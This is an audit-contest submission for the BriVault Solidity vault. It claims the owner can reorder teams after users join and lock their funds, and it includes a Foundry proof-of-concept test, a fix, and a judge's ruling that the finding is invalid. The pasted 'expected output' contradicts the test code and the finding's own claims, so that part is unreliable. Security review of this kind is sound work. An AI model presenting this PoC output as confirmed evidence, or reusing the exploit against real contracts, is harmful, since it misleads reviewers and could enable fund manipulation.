BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Owner Can Modify Teams After User Participation Causing Fund Loss

Description

  • The BriVault contract allows users to deposit funds and select a team by calling joinEvent(countryId) where countryId is an index into the teams array. The system records both the team name in userToCountry[user] and associates user shares with the country index in userSharesToCountry[user][countryId]. After the event concludes, the owner calls setWinner(countryIndex) to declare the winning team, and only users whose userToCountry matches the winner can withdraw their proportional share of the vault.

  • The setCountry() function allows the owner to set or modify the 48-element teams array at any time, with no restrictions on when it can be called. If the owner changes the teams array after users have already deposited and joined, the mapping between country indices and team names becomes corrupted. Users' userToCountry values no longer correspond to their registered userSharesToCountry indices, causing all users to be marked as losers regardless of their actual predictions. This enables the owner to manipulate outcomes or accidentally brick the contract, resulting in complete loss of user funds.

function setCountry(string[48] memory countries) public onlyOwner {
@> // No timing restrictions - can be called anytime
@> // No check for existing participants
for (uint256 i = 0; i < countries.length; ++i) {
teams[i] = countries[i];
}
emit CountriesSet(countries);
}
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
@> userToCountry[msg.sender] = teams[countryId]; // Stores team NAME
uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares; // Stores shares by INDEX
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
@> // Compares stored NAME with current winner NAME
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
@> // Uses shares registered to INDEX (via winnerCountryId)
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood: Medium

  • The owner can call setCountry() at any time with no technical barriers or restrictions, making the attack trivially executable

  • The vulnerability can be triggered accidentally through misconfiguration or intentionally through malicious action

  • No on-chain validation exists to prevent modification after users have participated

  • Users have no way to verify their team selection remains valid after joining, creating information asymmetry

Impact: High

  • Users who correctly predicted the winning team lose all deposited funds because their userToCountry no longer matches any valid team index

  • All user funds become permanently locked in the contract as withdrawal checks fail for everyone

  • The owner can manipulate the outcome by strategically reordering teams to ensure specific users lose regardless of real-world results

  • Users have no recourse or ability to prove their original team selection, as only the final corrupted state is recorded on-chain

  • Complete loss of trust in the protocol with potential regulatory and legal implications

Proof of Concept

Add the following test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
/**
* @title C-02: Post-Deposit Team Modification
* @notice Demonstrates owner can change teams after users deposit and join
*/
contract C02_PostDepositTeamModification is Test {
MockERC20 public mockToken;
BriVault public vault;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address feeAddress = makeAddr("feeAddress");
uint256 participationFeeBsp = 300;
uint256 eventStartDate;
uint256 eventEndDate;
uint256 minimumAmount = 1 ether;
string[48] originalCountries = [
"Brazil", "Argentina", "France", "Germany", "Spain",
"Portugal", "England", "Netherlands", "Italy", "Croatia",
"Belgium", "Switzerland", "Denmark", "Poland", "Serbia",
"Sweden", "Austria", "Morocco", "Senegal", "Nigeria",
"Cameroon", "Egypt", "South Africa", "Ghana", "Algeria",
"Tunisia", "Ivory Coast", "Japan", "South Korea", "Australia",
"Iran", "Saudi Arabia", "Qatar", "United States", "Canada",
"Mexico", "Costa Rica", "Panama", "Ecuador", "Uruguay",
"Colombia", "Peru", "Chile", "New Zealand", "United Arab Emirates",
"Iraq", "Uzbekistan", "Jordan"
];
string[48] maliciousCountries = [
"Argentina", "France", "Germany", "Spain", "Portugal",
"England", "Netherlands", "Italy", "Croatia", "Belgium",
"Switzerland", "Denmark", "Poland", "Serbia", "Sweden",
"Austria", "Morocco", "Senegal", "Nigeria", "Cameroon",
"Egypt", "South Africa", "Ghana", "Algeria", "Tunisia",
"Ivory Coast", "Japan", "South Korea", "Australia", "Iran",
"Saudi Arabia", "Qatar", "United States", "Canada", "Mexico",
"Costa Rica", "Panama", "Ecuador", "Uruguay", "Colombia",
"Peru", "Chile", "New Zealand", "United Arab Emirates", "Iraq",
"Uzbekistan", "Jordan", "Brazil"
];
function setUp() public {
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(alice, 100 ether);
mockToken.mint(bob, 100 ether);
mockToken.mint(carol, 100 ether);
}
function test_PostDepositTeamModification_RugPull() public {
console.log("=== POC: Post-Deposit Team Modification ===");
// Step 1: Deploy and set initial teams
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate,
feeAddress,
minimumAmount,
eventEndDate
);
vault.setCountry(originalCountries);
vm.stopPrank();
console.log("\n--- Initial State ---");
console.log("teams[0]:", vault.getCountry(0));
console.log("teams[1]:", vault.getCountry(1));
console.log("teams[2]:", vault.getCountry(2));
// Step 2: Users participate
vm.startPrank(alice);
mockToken.approve(address(vault), 10 ether);
vault.deposit(10 ether, alice);
vault.joinEvent(0); // Brazil
vm.stopPrank();
console.log("\n--- Alice Joined ---");
console.log("Alice selected index: 0");
console.log("Alice's userToCountry:", vault.userToCountry(alice));
console.log("Expected: Brazil");
vm.startPrank(bob);
mockToken.approve(address(vault), 20 ether);
vault.deposit(20 ether, bob);
vault.joinEvent(1); // Argentina
vm.stopPrank();
console.log("\n--- Bob Joined ---");
console.log("Bob selected index: 1");
console.log("Bob's userToCountry:", vault.userToCountry(bob));
console.log("Expected: Argentina");
vm.startPrank(carol);
mockToken.approve(address(vault), 15 ether);
vault.deposit(15 ether, carol);
vault.joinEvent(2); // France
vm.stopPrank();
console.log("\n--- Carol Joined ---");
console.log("Carol selected index: 2");
console.log("Carol's userToCountry:", vault.userToCountry(carol));
console.log("Expected: France");
// Step 3: Owner changes teams (ATTACK)
console.log("\n--- Owner Modifies Teams (ATTACK) ---");
vm.prank(owner);
vault.setCountry(maliciousCountries);
console.log("New teams[0]:", vault.getCountry(0));
console.log("New teams[1]:", vault.getCountry(1));
console.log("New teams[2]:", vault.getCountry(2));
// Step 4: Verify corruption
console.log("\n--- Data Corruption ---");
console.log("Alice userToCountry:", vault.userToCountry(alice));
console.log("Alice actual teams[0]:", vault.getCountry(0));
console.log("Match:",
keccak256(abi.encodePacked(vault.userToCountry(alice))) ==
keccak256(abi.encodePacked(vault.getCountry(0))));
// Step 5: Set winner and attempt withdrawals
vm.warp(eventEndDate + 1);
console.log("\n--- Winner Declaration ---");
console.log("Real outcome: Brazil wins");
vm.prank(owner);
string memory winner = vault.setWinner(0);
console.log("Declared winner:", winner);
console.log("teams[0] is now:", vault.getCountry(0));
// All users fail to withdraw
console.log("\n--- Withdrawal Attempts ---");
vm.prank(alice);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log("Alice: REVERTED (picked Brazil, lost 9.7 ETH)");
vm.prank(bob);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log("Bob: REVERTED (picked Argentina, lost 19.4 ETH)");
vm.prank(carol);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
vault.withdraw();
console.log("Carol: REVERTED (picked France, lost 14.55 ETH)");
console.log("\n=== IMPACT ===");
console.log("Total user losses: ~43.65 ETH");
console.log("All users marked as losers");
console.log("Funds permanently locked");
}
}

Run with:

forge test --match-contract C02_PostDepositTeamModification -vv

Expected Output:

[FAIL: Error != expected error: ERC20InsufficientBalance(0x88F59F8826af5e695B13cA934d6c7999875A9EeA, 43650000000000000000 [4.365e19], 87300000000000000000 [8.73e19]) != didNotWin()] test_PostDepositTeamModification_RugPull() (gas: 6043599)
Logs:
=== POC: Post-Deposit Team Modification (Rug Pull) ===
--- Step 1: Initial Setup ---
Vault deployed
Initial teams[0]: Brazil
Initial teams[1]: Argentina
Initial teams[2]: France
--- Step 2: Users Participate ---
Alice deposited: 10 ETH
Alice selected index: 0
Alice selected team: Brazil
Alice expected to pick: Brazil
Bob deposited: 20 ETH
Bob selected index: 1
Bob selected team: Argentina
Bob expected to pick: Argentina
Carol deposited: 15 ETH
Carol selected index: 2
Carol selected team: France
Carol expected to pick: France
Total in vault: 43 ETH
--- Step 3: Owner Changes Countries (ATTACK) ---
Owner changed country array!
New teams[0]: Argentina (was Brazil)
New teams[1]: France (was Argentina)
New teams[2]: Germany (was France)
--- Step 4: User Data Corruption Analysis ---
Alice's state:
userToCountry[alice]: Brazil
Actual teams[0]: Argentina
Match? false
Alice thinks: Brazil
System shows: Argentina
Bob's state:
userToCountry[bob]: Argentina
Actual teams[1]: France
Match? false
Bob thinks: Argentina
System shows: France
--- Step 5: Winner Declaration ---
Real-world outcome: Brazil wins the tournament
Owner declares teams[0] as winner
Declared winner: Argentina
Expected winner: Brazil
Actual winner: Argentina
--- Step 6: Withdrawal Attempts ---
Alice attempting withdrawal:
Alice picked: Brazil (original teams[0])
Winner is: Argentina (current teams[0])
Alice's userToCountry: Brazil
Result: REVERTED (didNotWin)
Alice LOSES her 10 ETH despite correctly predicting Brazil!
Bob attempting withdrawal:
Bob picked: Argentina (original teams[1])
Winner is: Argentina
Bob's userToCountry: Argentina
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.48ms (4.33ms CPU time)
Ran 1 test suite in 7.12ms (6.48ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/poc/C02_PostDepositTeamModification.t.sol:C02_PostDepositTeamModification
[FAIL: Error != expected error: ERC20InsufficientBalance(0x88F59F8826af5e695B13cA934d6c7999875A9EeA, 43650000000000000000 [4.365e19], 87300000000000000000 [8.73e19]) != didNotWin()] test_PostDepositTeamModification_RugPull() (gas: 6043599)

Recommended Mitigation

Add timing and participation restrictions to prevent team modifications after users have joined:

function setCountry(string[48] memory countries) public onlyOwner {
+ require(block.timestamp < eventStartDate, "Cannot modify after event starts");
+ require(numberOfParticipants == 0, "Cannot modify after users joined");
+
for (uint256 i = 0; i < countries.length; ++i) {
teams[i] = countries[i];
}
emit CountriesSet(countries);
}

Explanation:

The mitigation prevents the owner from modifying the teams array once users have begun participating:

Timing Restriction (block.timestamp < eventStartDate):

  • Ensures teams cannot be changed once the event participation period begins

  • Users can verify team assignments before the event starts and trust they won't change

  • Prevents last-minute manipulation that users cannot react to

Participation Check (numberOfParticipants == 0):

  • Explicitly prevents modification once any user has joined the event

  • Protects user selections even during the pre-event deposit period

  • Makes the attack window extremely narrow (only before first user joins)

Combined Protection:

  • Both checks must pass, providing defense-in-depth

  • Users can trust their team selection remains valid throughout the event lifecycle

  • Owner can still set teams initially or correct mistakes before anyone participates

Alternative - Immutable Teams After Deployment:

For maximum security, consider setting teams only once during deployment:

+ bool private teamsInitialized;
+ function setCountry(string[48] memory countries) public onlyOwner {
+ require(!teamsInitialized, "Teams already set");
+
+ for (uint256 i = 0; i < countries.length; ++i) {
+ teams[i] = countries[i];
+ }
+ teamsInitialized = true;
+ emit CountriesSet(countries);
+ }

This ensures teams can never be modified after initial setup, eliminating the attack vector entirely.

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

setCountry() Can Be Called After Users Join

This is owner action.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!